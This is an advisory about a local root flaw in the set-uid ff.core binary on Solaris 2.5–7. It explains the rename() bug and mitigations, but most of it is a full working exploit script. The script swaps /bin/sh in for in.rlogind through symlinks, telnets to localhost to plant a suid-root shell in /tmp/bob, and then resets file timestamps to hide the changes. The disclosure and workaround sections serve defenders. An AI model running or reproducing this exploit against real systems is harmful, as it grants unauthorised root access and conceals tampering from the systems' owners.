COMMAND

    /usr/openwin/bin/ff.core

SYSTEMS AFFECTED

    Solaris 2.5, 2.5.1, 2.6, (2.)7

PROBLEM

    John McDonald found following.  At the bottom of this advisory  is
    an  exploit  John  wrote  for  /usr/openwin/bin/ff.core on Solaris
    2.5.1, and 2.6.  He has  tested it on a few machines,  with decent
    success. There is a security patch for ff.core, labeled 106222-01.
    Installed on 2.6 box it does *not* appear to fix the problem.  The
    success  of  this  exploit  depends  heavily  on  certain  default
    characteristics of the OS.  There is a pretty good chance it won't
    work on your machine if you have changed much of the configuration
    and layout.  Obviously, openwindows  has to be installed.   It's a
    really noisy  exploit, and  if someone  uses it  on your  machine,
    there is a good chance you might notice.  Let's explain...

    We can use ff.core to do a rename() as root.  However, there are a
    lot of restrictions on  what we can get  away with.  Taking  those
    into account, here is what John came up with:

        ln -fs $A /vol/rmt/diskette0
        /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/$B $C /floppy/

    $A is the directory that contains the file we want to rename.   $B
    is the file that we want to rename relative to $A.  This can be in
    any directory under  $A (it can't  contain '..').   $C is what  we
    want to rename the file too.  $C cannot contain '/', so it has  to
    be in the $A directory.

    If you are interested, you can see why we have these  restrictions
    by gdb'ing a copy of  ffcore and disass'ing ff_rename.   The 2.5.1
    binary  is  real  straightforward..  our  3  arguments  make it to
    ff_rename as %i0, %i1, and %i2.  Then there is a series of  sanity
    checks on the input, a call to get_vol, a call to get_newpath, and
    then our call to rename().  The 2.6 binary is a bit more  complex,
    but the exploit still works fine.  Anyway, it's easy to figure out
    the rules that govern our  input from the 2.5.1 binary.   However,
    this invalidates  your license,  and is  an atrocious intellectual
    property crime, so don't even  consider it.  Ok, so  following our
    rules from above, we can rename any file on the system to anything
    we want within the same directory.  Also, we can move a file  from
    any directory to a directory that is above that file in the  tree,
    as  long  as  they  are  on  the  same filesystem. ie- we can move
    something from /usr/bin to /usr, as long as /usr/bin and /usr  are
    the same filesystem.

    So, how do we  exploit this? On Solaris  2.5, it was pretty  easy.
    John moved /etc/group  on top of  /etc/shadow, and su'ed  to root.
    (You can  back up  /etc/shadow by  moving it  to /etc/shadow.bak).
    However, this doesn't work on machines running a later version  of
    Solaris.  (and some patch  probably makes the passwd system  a bit
    smarter).  Anyway, this exploit will attempt to move /bin/sh  over
    in.rlogind.  It does this  by utilizing some files sitting  around
    by default in various directories. This is basically what it does:

        rename /usr/bin/sh /usr/bin/admintool
        rename /usr/sbin/swmtool /usr/sbin/in.rlogind
        telnet localhost login and clean up

    This   works   because   /usr/sbin/swmtool   is   a   symlink   to
    /usr/bin/admintool.   When we  rename swmtool  to in.rlogind,  and
    telnet in, inetd is going to exec in.rlogind, and the symlink will
    be resolved such that /usr/bin/admintool  will be execed.  So,  if
    we move /usr/bin/sh to /usr/bin/admintool, then it will be  execed
    by  inetd,  and  we  will  have  a  root  prompt  waiting  for us.
    Obviously, this  is going  to make  tripwire or  any other  binary
    modification detector go nuts.   Also, rlogind, sh, and  admintool
    will be  temporarily hosed  during the  exploit.   It attempts  to
    clean up everything it can,  but if everything isn't quite  right,
    and it  renames files,  but doesn't  get the  root shell,  then it
    can't clean up.   Run this at your  own risk.  Before  running it,
    you should at least check to see if the symlinks are present,  and
    that  rlogind  (or  whatever  daemon  in  /usr/sbin  you choose to
    overwrite) is running.  Exploit follows:

    #!/bin/sh

    # /usr/openwin/bin/ff.core exploit - horizon
    # tested on 2.5.1, 2.6 and Solaris 7 (2.7)
    # thanks to joej, adm, and joej :>

    # if you want to exploit 2.5, you can just make this move /etc/group over
    # /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak

    # first test if we can pull this off

    echo "Testing if exploit is possible..."

    if [ -x /usr/openwin/bin/ff.core ]
    then
            :
    else
            echo "ff.core isn't there or executable. :/"
            exit 1
    fi

    if [ -w /vol/rmt ]
    then
            :
    else
            echo "We can't do the symlink. :<"
            exit 1
    fi

    mkdir /tmp/.test42
    touch /tmp/.test42/bob

    rm -f /vol/rmt/diskette0
    ln -fs /tmp/.test42 /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null

    if [ -f /tmp/.test42/jim ]
    then
            echo "Test successful. Proceeding..."
    else
            echo "Hmmm.. doesn't look like this is going to work :/"
            exit 1
    fi

    rm -rf /tmp/.test42

    # lets make some backups

    echo "Backing up clobbered files to /tmp/.bk"

    mkdir /tmp/.bk
    #save admintools times
    touch /tmp/.bk/admintool
    touch -r /usr/bin/admintool /tmp/.bk/admintool
    #save rloginds times
    touch /tmp/.bk/in.rlogind
    touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
    #save a copy of /usr/bin/sh
    cp /usr/bin/sh /tmp/.bk
    touch -r /usr/bin/sh /tmp/.bk/sh

    echo "Doing sploit..."

    rm -f /vol/rmt/diskette0
    ln -fs /usr/bin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null

    rm -f /vol/rmt/diskette0
    ln -fs /usr/bin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null

    rm -f /vol/rmt/diskette0
    ln -fs /usr/sbin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null

    rm -f /vol/rmt/diskette0
    ln -fs /usr/sbin /vol/rmt/diskette0
    /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null

    echo "Done with sploit. Testing and trying to clean up now..."

    sleep 1

    (sleep 2;echo "\
    cp /bin/rksh /tmp/bob;\
    chmod 4755 /tmp/bob;\
    exit;\
    ") | telnet localhost login

    sleep 1

    if [ -f /tmp/bob ]
    then
            echo "w00p! Should have a suid root sh in /tmp/bob"
            echo "btw, its rksh because solaris is silly"
            echo "Let me try to clean up my mess..."
    else
            echo "hrmmph.. didnt work. hope shits not screwed up bad :/"
            exit 1
    fi

    echo "
    cp /tmp/.bk/sh /usr/bin/sh
    chmod 555 /usr/bin/sh
    chown bin /usr/bin/sh
    chgrp root /usr/bin/sh
    touch -r /tmp/.bk/sh /usr/bin/sh
    mv /usr/bin/admintool.bak /usr/bin/admintool
    touch -r /tmp/.bk/admintool /usr/bin/admintool
    rm -f /usr/sbin/swmtool
    ln -s /usr/bin/admintool /usr/sbin/swmtool
    touch -r /usr/bin/admintool /usr/sbin/swmtool
    rm -f /usr/sbin/in.rlogind
    mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
    touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
    rm -rf /tmp/.bk
    " | /tmp/bob

    echo "everything should be cool.. i think :>"
    /tmp/bob

SOLUTION

    The  workaround  is  simple:  chmod ug-s /usr/openwin/bin/ff.core.
    Also, there is no way this exploit can work if a normal user can't
    write to something  under /vol, so  some chmod's will  probably be
    effective.  There's another workaround for the ff.core bug  rather
    than taking away it's set-uid permissions.  The workaround is:

        chmod a-w /vol/*

    Best added to the volmgt starup script in the following   fashion,
    after the line that starts vold:

        while sleep 1
        do
                if [ -d /vol/rmt ]
                then
                        chmod a-w /vol/*
                        break
                fi
        done &

    This leaves a 1 second window or so of vulnerability at boot  time
    which you can prevent by starting vold earlier than cron & inetd.